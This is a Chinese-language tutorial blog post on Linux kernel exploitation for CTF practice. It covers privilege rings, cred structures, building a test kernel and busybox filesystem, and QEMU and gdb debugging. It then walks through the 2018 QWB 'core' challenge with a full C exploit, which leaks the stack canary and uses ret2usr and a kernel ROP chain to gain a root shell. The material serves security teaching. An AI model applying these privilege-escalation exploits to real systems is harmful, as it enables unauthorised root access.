kernel pwn从小白到大神(一)
前言:本文章是kernel的开始,从前置理论基础到环境搭建,最后到kernel pwn
的实践,一条龙服务啊!!!
kernel前置知识
操作系统内核
操作系统内核(Operating System Kernel)也是一种软件,负责在硬件和软件之间架起一座桥梁,确保系统的稳定和高效运行。
操作系统内核是抽象的一种概念,本质上和普通进程一样(代码+数据),不同点是内核代码执行时具有高权限,有完全的硬件访问控制权限。普通用户代码执行时只有低权限,只拥有部分硬件权限。
这两种不同权限的运行状态实际上是通过硬件来实现的
分级保护域
分级保护域(hierarchical protection domains
),简称Rings
,一种权限划分的模型。在一些硬件或者微代码级别上提供不同特权态模式的CPU架构上,保护环通常都是硬件强制的。
OS/2
的3环结构
Ring 0
用于内核代码和驱动程序, Ring 2
用于某些需要特权的代码(I/O权限的用户程序),Ring 3
用于非特权代码(几乎所有的用户程序都在这一级别)
下图画了Ring 1
并不影响,不同系统采用不同Rings保护机制,有2环( Windows 7
),也有8环的(Honeywell 6180
)。
状态切换
主要有两种途径:
-
中断与异常:
- 当 CPU 接收到中断或异常信号时,会自动切换到
Ring 0
(内核模式),并根据中断描述符表查找相应的中断处理程序。这种方式用于响应外部事件(如硬件中断)或内部异常(如除零错误)。
- 当 CPU 接收到中断或异常信号时,会自动切换到
-
特权级相关指令:
- 某些指令(
iret、sysret、sysenter、syscall
)会导致特权级的切换:-
iret、sysret
指令用于从内核模式切换回用户模式(Ring 0
到Ring 3
)。 -
sysenter、syscall
指令用于从用户模式切换到内核模式(Ring 3
到Ring 0
),常用于执行系统调用。
-
- 某些指令(
用户态->内核态
- 通过
swapgs
切换GS
段寄存器,将GS
寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。 - 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入
rsp/esp
。 - 通过 push 保存各寄存器值
- 通过汇编指令判断是否为
x32_abi
。 - 通过系统调用号,跳到全局变量
sys_call_table
相应位置继续执行系统调用。
内核态->用户态
- 通过
swapgs
恢复 GS 值。 - 通过
sysretq
或者iretq
恢复到用户控件继续执行。使用iretq
还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp
等)。
#栈空间布局
↓ swapgs
iretq
user_execute_addr
user_cs
user_eflags
user_sp
user_ss
进程权限管理
内核
kernel
调度着一切的系统资源,并为用户应用程式提供运行环境,相应地,应用程式的权限也都是由 kernel 进行管理的。
进程权限凭证(credential)
内核中使用结构体 task_struct
表示一个进程,结构体定义于内核源码include/linux/sched.h
。在task_struct
中包含结构体cred
。
cred
用来管理一个进程的权限,该结构体定义于内核源码 include/linux/cred.h
。
cred
结构体记载了进程四种不同的用户标识(ID)
-
real UID(真实用户 ID)
:uid
和gid
- 代表任务的实际用户 ID 和组 ID。
-
saved UID(保存用户 ID)
:suid
和sgid
- 保存的用户 ID 和组 ID,通常用于 SUID 程序。
-
effective UID(有效用户 ID)
:euid
和egid
- 有效用户 ID 和组 ID,决定了该任务在访问控制上的权限。
-
UID for VFS ops(文件系统用户 ID)
:fsuid
和fsgid
- 在进行 VFS(虚拟文件系统)操作时使用的 UID 和 GID。
进程权限改变
一个进程的权限是通过cred
结构体进行管理的,那么只要更改cred
就能改变执行权限。在内核空间有如下两个函数,都位于 kernel/cred.c
中。
prepare_kernel_cred
-
功能:该函数用于创建一个新的
cred
结构体副本。它接受一个有效的进程描述符作为参数,并从中复制当前进程的权限信息。 -
参数:
-
struct task_struct* daemon
:这是一个指向目标进程的指针,可以是任何有效进程的描述符,通常是系统中某个特定的进程。
-
-
返回值:返回一个新的
cred
结构体指针,包含了复制的权限信息。commit_creds
-
功能:该函数用于将新的
cred
结构体应用到当前进程。这意味着新的权限信息将替代进程原有的权限设置。 -
参数:
-
struct cred *new
:指向要应用的新cred
结构体的指针。
-
- 返回值:无返回值,但在操作成功后,进程的权限将更新为新的权限设置。
通过commit_creds(prepare_kernel_cred(NULL))
就能拿到root权限,这也是在kernel pwn
中常用的提权手段。
两个函数地址,可以通过/proc/kallsyms
文件查看(需要root权限)
LKMs(可装载内核模块)
大多数 CTF 中的 kernel vulnerability 也出现在 LKM 中。
LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF,Windows 下为 exe/dll,mac 下为 MACH-O。但是其不能够独立运行,而只能作为内核的一部分存在。
相关指令
- insmod: 讲指定模块加载到内核中
- rmmod: 从内核中卸载指定模块
- lsmod: 列出已经加载的模块
- modprobe: 添加或删除模块,modprobe 在加载模块时会查找依赖关系
通常在kernel pwn
的时候,都会通过装载内核模块,我们通过分析模块寻找漏洞来提权,这是一般kernel pwn
的过程。
通过lsmod
就能查看装载模块,在调试的时候也是需要附加模块基地址,这个后面会实践。
内核交互
在一般系统调用就是通过系统调用号来实现,比如64
位下read
的系统调用号为0
。
/usr/include/x86_64-linux-gnu/asm/unistd_64.h
和/usr/include/x86_64-linux-gnu/asm/unistd_32.h
可以查看 64 位和 32 位的系统调用号。
系统调用:ioctl
在 Linux
系统中,几乎所有设备都被视为文件,这使得通过标准的文件操作(如 open
、read
、write
和 close
)来访问设备变得简单。然而,某些操作超出了这些标准接口的能力,需要一个更灵活的机制来处理设备特定的功能,这就是 ioctl
的用武之地。
ioctl
的功能
-
设备控制:通过
ioctl
,用户空间程序可以发送控制命令给设备驱动程序,进行设备特定的操作,比如设置设备参数、查询设备状态等。 -
扩展性:因为设备驱动是可扩展的,
ioctl
使得新设备可以通过定义新的请求码和操作接口来被支持,而不需要修改现有的系统调用。
函数原型
在 C 语言中,ioctl
的原型如下:
int ioctl(int fd, unsigned long request, ...);
-
fd
:文件描述符,通常是通过open()
函数获取的,用于指定要操作的设备。 -
request
:请求的命令,通常是一个宏,定义了要执行的操作。 -
...
:可选参数,具体取决于请求的类型,有时需要传递指向结构体的指针或其他参数。
使用ioctl
int fd = open("/dev/mydevice", 2);//在内核中攻击使用/proc/mydevice
ioctl(fd, request_code, data) ;
常见内核态函数
printk
:用于在内核空间中打印调试信息或状态信息,通过dmesg
查看调试信息。
copy_from_user()
:用户空间的数据拷贝到内核空间。
copy_to_user()
:内核空间的数据拷贝到用户空间。
kmalloc()
,内核态的内存分配函数,和 malloc() 相似,但使用的是 slab/slub
分配器。
kfree()
,同 kmalloc
。
搭建内核环境
内核启动需要两个文件bzImage(压缩内核镜像),core.cpio(镜像文件)
环境依赖
sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev dwarves zstd
获取内核镜像bzImage
两种方式:
- 使用现成的系统镜像(做题时镜像都会给,或者自己系统的内核镜像)
- 下载内核源码编译
自行编译内核源码
下载内核源码
在Linux Kernel Archive下载对应版本的内核源码
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.tar.xz
配置编译选项
tar -xvf linux-5.11.tar.xz
cd linux-5.11.1/
make menuconfig
一般直接make,什么配置都不用修改。
检查勾选配置:
- Kernel hacking —> Kernel debugging
- Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
- Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
- kernel hacking —> Compile the kernel with frame pointers
修改.config文件
.config
文件CONFIG_SYSTEM_TRUSTED_KEYS
,后面=
改为""
编译源码可能会出现的报错问题
如果还出现*.pem
的报错就在.config
中找到*.pem
改为""
就行。
多次编译可能会造成磁盘空间不足
编译内核时遇到了磁盘空间不足的问题
df -h #查看磁盘使用情况
sudo rm -rf /tmp/*
sudo apt-get clean
还有问题,一般是依赖报错,对应安装一下依赖就行,根据自己报错信息查看。
编译源码
生成内核镜像,时间大概5-15分钟。
make -j$(nproc) bzImage
编译成功会出现Kernel: arch/x86/boot/bzImage is ready (#2)
vmlinux:原始内核文件
在当前目录下提取到vmlinux
,为编译出来的原始内核文件
bzImage:压缩内核镜像
在当前目录下的arch/x86(其他架构都有)/boot/
目录下提取到bzImage
,为压缩后的内核文件,适用于大内核
zImage && bzImage
zImage–是vmlinux经过gzip压缩后的文件。
bzImage–bz表示“big zImage”,不是用bzip2压缩的,而是要偏移到一个位置,使用gzip压缩的。两者的不同之处在于,zImage解压缩内核到低端内存(第一个 640K),bzImage解压缩内核到高端内存(1M以上)。如果内核比较小,那么采用zImage或bzImage都行,如果比较大应该用bzImage。https://blog.csdn.net/xiaotengyi2012/article/details/8582886
DIY内核文件
-
arch/x86/entry/syscalls/syscall_64.tbl
:将系统调用号添加到系统调用表中。 -
include/linux/syscalls.h
:添加系统调用的声明。 -
kernel/sys.c
:添加系统调用的实现函数。
添加系统调用号
gedit arch/x86/entry/syscalls/syscall_64.tbl
1314 64 mowen sys_mowen
声明系统调用
gedit include/linux/syscalls.h
asmlinkage long sys_mowen(void);
定义系统调用
在kernel/sys.c
最后加上
gedit kernel/sys.c
SYSCALL_DEFINE0(mowen){
printk("SYSCALL_mowen\n");
return 1314;
}
//SYSCALL_DEFINE0()是一个宏,意为接收0个参数的系统调用,其第一个参数为系统调用名
//测试代码
#include <unistd.h>
int main(void)
{
syscall(1314);
return 0;
}
编译内核,然后使用test测试,这里使用qemu启动内核,之后会说,使用dmesg
查看内核调试信息
busybox 构建文件系统
编译busybox
在busybox.net下载版本
wget https://busybox.net/downloads/busybox-1.33.0.tar.bz2
tar -jxvf busybox-1.33.0.tar.bz2
cd busybox-1.33.0/
make menuconfig
make install
勾选 Settings
—> Build static file (no shared libs)
若是不勾选则需要单独配置
libc
,比较麻烦
编译完成后会生成一个_install
目录,在改目录中配置磁盘镜像。
配置磁盘镜像
文件创建配置
cd _install
#我使用sh脚本执行,把下面命令写入1.sh,或者一条一条命令执行也是可以的
mkdir -pv {bin,tmp,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS
配置初始化脚本
配置 etc/inttab
gedit etc/inttab
#写入下面的内容
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
etc/inittab
用于定义系统初始化和服务启动行为的配置文件。这个文件包含了系统启动、运行级别变更、以及系统关闭时要执行的指令和脚本。
-
::sysinit:/etc/init.d/rcS
- 系统初始化时执行
/etc/init.d/rcS
脚本。sysinit
是系统启动过程中早期的阶段,在这个阶段,通常会挂载文件系统、初始化硬件等。
- 系统初始化时执行
-
::askfirst:/bin/ash
- 系统启动完成后,如果配置为单用户模式或者没有定义默认的运行级别,系统会提示用户是否要启动一个 shell(在这里是
/bin/ash
)。
- 系统启动完成后,如果配置为单用户模式或者没有定义默认的运行级别,系统会提示用户是否要启动一个 shell(在这里是
-
::ctrlaltdel:/sbin/reboot
- 按下 Ctrl+Alt+Delete 组合键时,系统会执行
/sbin/reboot
命令,即重新启动系统。
- 按下 Ctrl+Alt+Delete 组合键时,系统会执行
-
::shutdown:/sbin/swapoff -a
- 在系统关闭过程中,执行
/sbin/swapoff -a
命令来关闭所有的交换空间,确保所有的数据都已经写回到磁盘上,防止数据丢失。
- 在系统关闭过程中,执行
-
::shutdown:/bin/umount -a -r
- 同样在系统关闭过程中,执行
/bin/umount -a -r
命令来卸载所有的文件系统。
- 同样在系统关闭过程中,执行
-
::restart:/sbin/init
- 重启时,执行
/sbin/init
命令,系统重新进入初始化过程。
- 重启时,执行
初始化脚本可以用/etc/init.d/rcS
或init
,这里使用/etc/init.d/rcS
,直接cat
写入
sudo cat <<EOF > etc/init.d/rcS
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
poweroff -d 0 -f
EOF
配置用户组
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
打包文件系统为镜像文件
打包为 cpio 文件
find . | cpio -o --format=newc > ../rootfs.cpio
#或者
find . | cpio -o -H newc > ../rootfs.cpio
向文件系统中添加文件,在后面做题经常会用,会往磁盘镜像中放入exp
解压磁盘镜像
cpio -idv < ./rootfs.cpio
#-i:表示解包模式(extract mode)。
#-d:表示创建目录(create directories)。如果归档中包含目录,而这些目录在目标位置不存在,-d 选项会让 cpio 自动创建这些目录。
#-v:表示详细模式(verbose mode)。启用详细模式后,cpio 会在解包过程中显示处理的文件名。
然后放入文件,之后重新使用上面的打包命令就行
qemu运行内核
bzImage
和rootfs.cpio
放到同一个目录下,然后编写sh
脚本
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s
-m
:虚拟机内存大小(如果启动的内核一直在重启,是内存恐慌,内存调大就行)-kernel
:内存镜像路径-initrd
:磁盘镜像路径- -append:附加参数选项
nokalsr
:关闭内核地址随机化,方便我们进行调试rdinit
:指定初始启动进程,/sbin/init
进程会默认以/etc/init.d/rcS
作为启动脚本loglevel=3
&quiet
:不输出logconsole=ttyS0
:指定终端为/dev/ttyS0
,这样一启动就能进入终端界面-monitor
:将监视器重定向到主机设备/dev/null
,这里重定向至null主要是防止CTF中被人给偷了qemu拿flag-cpu
:设置CPU安全选项,在这里开启了smep保护(smep保护就不能采用ret2usr手法了)-s
:相当于-gdb tcp::1234
的简写(也可以直接这么写),后续我们可以通过gdb连接本地端口进行调试
调试Linux内核
这里以kernel-ROP 2018 强网杯,为例子,再给的init文件中,装载了core模块,poweroff是关机命令直接注释,调试需要root权限,改为 0。
调试需要模块代码段的基地址,两种方式都需要root权限才可以,所以平时调试的时候要改为root权限
lsmod
cat /sys/module/core/sections/.text
然后再gdb.sh中写入以下代码方便调试
#!/bin/sh
pwndbg -q -ex "target remote localhost:1234" \
-ex "add-symbol-file ./core.ko $1" \
-ex "b core_copy_func" \
-ex "b core_write" \
-ex "b core_ioctl" \
-ex "b* core_copy_func+0x3b" \
-ex "c"
成功启动,然后运行exp进行调试就行
实战题目
内核题目和普通用户态的题目差不多,用户态:system("/bin/sh")
;在内核态就是:commit_creds(prepare_kernel_cred(NULL));
,在gadget由用户代码到内核的gadget。
2018 强网杯 - core
通过start.sh启动文件查看,开启的保护只有kaslr
(和普通用户态的aslr
相同),后期的FGKASLR
,以函数粒度重新排布内核代码
ret2usr方法(已经过时)
在没有使用KPTI(内核页表隔离)的内核之前都可以使用
在未开启 SMAP/SMEP 保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,ret2usr可以直接在内核态执行普通用户程式中写的commit_creds(prepare_kernel_cred(NULL));
从init配置文件看起,上面都是一些挂载的操作,
cat /proc/kallsyms > /tmp/kallsyms #把/proc/kallsyms 写入/tmp/kallsyms,这样不以root权限就能读取函数地址
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict #关闭内核信息日志,将无法通过/proc/kallsyms查看函数的地址
然后insmod core.ko
挂载了core模块,主要分析的就是这个模块,然后poweroff
这个关机的直接注释,位了方便之后调试,把权限改为root
模块开启canary和NX保护
init_module
中程序创建了虚拟文件/proc/core
,通过该文件实现与内核的交互
通过ioctl
来实现各种方法,
在core_read
中通过off
造成的内核stack溢出,可以复制canary
到用户态然后泄露
core_copy_func
中有栈溢出,传入的是8位有符号类型,然后使用2字节的数据来进行复制,传入负数就可以绕过
core_write
把用户态的数据写入name,配合上面完成溢出的栈布置
利用过程
- 读取/tmp/kallsyms泄露两个提权函数地址,保存用户空间寄存器状态
- 利用
ioctl
设置off,然后利用copy_to_user
泄露canary
- 利用
write
写入name
,在利用ioctl
中的qmemcpy
的栈溢出构造出返回用户态执行commit_creds(prepare_kernel_cred(0))
- 利用swapgs和iretq指令从内核空间切换到用户控制,执行system("/bin/sh")
因为有汇编编译使用-masm
gcc -o exp ./qwb_test2.c -w -static -masm=intel
EXP
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char* buf);
void getshell(void);
void set_off(int fd,__int64 data){
printf("[*] set off -> %lld\n",data);
ioctl(fd,0x6677889C,data);
}
void core_read(int fd,char* buf){
printf("[*] core read addr-> 0x%llx\n",buf);
ioctl(fd,0x6677889B,buf);
}
void core_copy_func(int fd,__int64 data){
printf("[*] core_copy_func -> %llx\n",data);
ioctl(fd,0x6677889A,data);
}
size_t Get_Real_addr(size_t addr){
return addr-raw_vmlinux_base+vmlinux_base;
}
typedef struct StackAttack
{
size_t buf[256];
int idx;
}ATTACKS,*P_IMAGE_stack;
P_IMAGE_stack soverflow;
void ATTACK_init(){
puts("[*]ATTACK_init");
soverflow=(P_IMAGE_stack)malloc(sizeof(ATTACKS));
if(soverflow==NULL){
puts("[*]init error");
exit(-1);
}
soverflow->idx=8;
}
void ATTACK_change(size_t data){
soverflow->buf[soverflow->idx]=data;
soverflow->idx++;
}
void ret2usr(){
__asm__(
"xor rdi,rdi;"
"mov rax,prepare_kernel_cred;"
"call rax;"
"mov rdi,rax;"
"mov rax,commit_creds;"
"call rax;"
);
}
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/proc/core\0";
const __int64 commit_offset=0x9c8e0;
const __int64 prepare_offset=0x9cce0;
/*
[+] commit_creds --> 0x9c8e0
[+] prepare_kernel_cred --> 0x9cce0
*/
int main(void){
puts("[*]start");
save_status();
int fd = open(FileAttack,2);
if(fd < 0){
puts("[*]open /proc/core error!");
}
find_symbols(FILESYM,commit_offset,prepare_offset);
set_off(fd,64);
char buf[64] = {0};
core_read(fd, buf);
size_t canary=((size_t*)buf)[0];
printf("[*] canary -> 0x%llx\n",canary);
size_t swapgs_popfq_ret=0xffffffff81a012da;
size_t iretq_ret=0x50ac2;
ATTACK_init();
puts("[*]ATTACK payload++");
ATTACK_change((canary));
ATTACK_change(0);
ATTACK_change((size_t)ret2usr);//ret2usr能直接在内核态执行用户代码,但是已经过时
ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
ATTACK_change(0);
ATTACK_change(iretq_ret+vmlinux_base);
ATTACK_change((size_t)getshell);
ATTACK_change(user_cs);
ATTACK_change(user_rflags);
ATTACK_change(user_sp);
ATTACK_change(user_ss);
printColor("[*]write");
//write(fd,soverflow->buf,0x800);
write(fd,soverflow->buf,0x800);
core_copy_func(fd,0xFFFFFFFFFFFF0000|(0x100));
return 0;
}
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
size_t find_symbols(const char*FILENAME,__int64 commit_offset,__int64 prepare_offset){
FILE* kallsyms_fd = fopen(FILENAME,"r");
if(kallsyms_fd < 0){
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf,0x30,kallsyms_fd)){
if(commit_creds & prepare_kernel_cred)return 0;
//find commit_creds
if(strstr(buf,"commit_creds") && !commit_creds){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&commit_creds);
printf("commit_creds addr: %p\n",commit_creds);
vmlinux_base = commit_creds - commit_offset;
printf("vmlinux_base addr: %p\n",vmlinux_base);
}
//find prepare_kernel_cred
if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - prepare_offset;
}
}
if(!commit_creds & !prepare_kernel_cred){
puts("[*]read kallsyms error!");
exit(0);
}
}
void getshell(void)
{
if(getuid())
{
printColor("[x] fail get shell");
exit(-1);
}
printColor("[*]Successful");
system("/bin/sh");
}
void printColor(char* buf){
printf("\033[31m\033[1m%s\033[0m\n",buf);
}
提权成功
Kernel ROP
内核态的 ROP 与用户态的 ROP差不多,只不过利用的 gadget 变成了内核中的 gadget
在内核态构造ROP完成commit_creds(prepare_kernel_cred(NULL))
,线程的 cred 结构体便变为 init
进程的 cred
的拷贝,也就获得了 root
权限,然后返回用户态执行system("/bin/sh")
便能获得 root shell
。
ROP寻找
vmlinux
则是静态编译,未经过压缩的 kernel 文件,可以在vmlinux中找到gadget
ROPgadget --binary ./vmlinux > rop_all.txt
如果题目没有给
vmlinux
,可以通过 extract-vmlinux 提取。
./extract-vmlinux ./bzImage > vmlinux
然后使用正则搜索想要的gadget
我找了这样的gadget
来完成commit_creds(prepare_kernel_cred(NULL))
,
为什么采用commit_creds+2
,要把rax
的值赋值给rdi
之后再call
函数,没有call完之后就ret的gadget方便我们使用
call完之后会还原到原来的地址,但是commit_creds
第一句是push指令,跳过这个指令就跳到栈上的下一跳地址
红色箭头指向本来要返回的地址,现在会调用swapgs
执行
代码和ret2usr
一样,不同的地方是ATTACK
的覆盖数据
ATTACK_init();
puts("[*]ATTACK payload++");
ATTACK_change((canary));
ATTACK_change(0);
ATTACK_change(Get_Real_addr(rdi_ret));
ATTACK_change(0);
ATTACK_change((prepare_kernel_cred));
ATTACK_change(Get_Real_addr(rdx_ret));
ATTACK_change((commit_creds+2));
ATTACK_change(Get_Real_addr(movRdi_Rax_callRDX));
ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
ATTACK_change(0);
ATTACK_change(iretq_ret+vmlinux_base);
ATTACK_change((size_t)getshell);
ATTACK_change(user_cs);
ATTACK_change(user_rflags);
ATTACK_change(user_sp);
ATTACK_change(user_ss);